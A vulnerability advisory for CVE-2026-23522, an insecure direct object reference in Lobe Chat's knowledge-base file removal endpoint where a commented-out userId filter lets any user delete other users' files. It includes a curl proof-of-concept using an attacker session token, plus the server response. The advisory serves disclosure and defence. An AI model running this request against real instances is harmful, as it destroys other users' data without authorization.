CVE-2026-23522
Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion
Description
### Summary `knowledgeBase.removeFilesFromKnowledgeBase` tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership. ### Details `userId` filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID. ### PoC ``` ATTACKER_TOKEN="xx" VICTIM_KB="kb_tuLBfskdDN1r" VICTIM_FILE="file_v5wCNLqSaoPp" curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}' ``` Response: `{"result":{"data":{"json":{"command":"DELETE","rowCount":1,"oid":null,"rows":[],"fields":[]}}}}` ### Impact An attacker can delete files from any user's KB. RAG/AI functionality broken when files removed. It could cause loss of important documents, proprietary data etc. While the vuln is confirmed, practical exploitation requires knowing target's KB ID and target's file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless.
How to fix CVE-2026-23522
No fixed version has been published yet. Mitigate by removing the affected package or applying upstream guidance from the references below.
- —no fix listed
Is CVE-2026-23522 being exploited?
Low — EPSS is 0.1%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- from 0, <= 1.143.2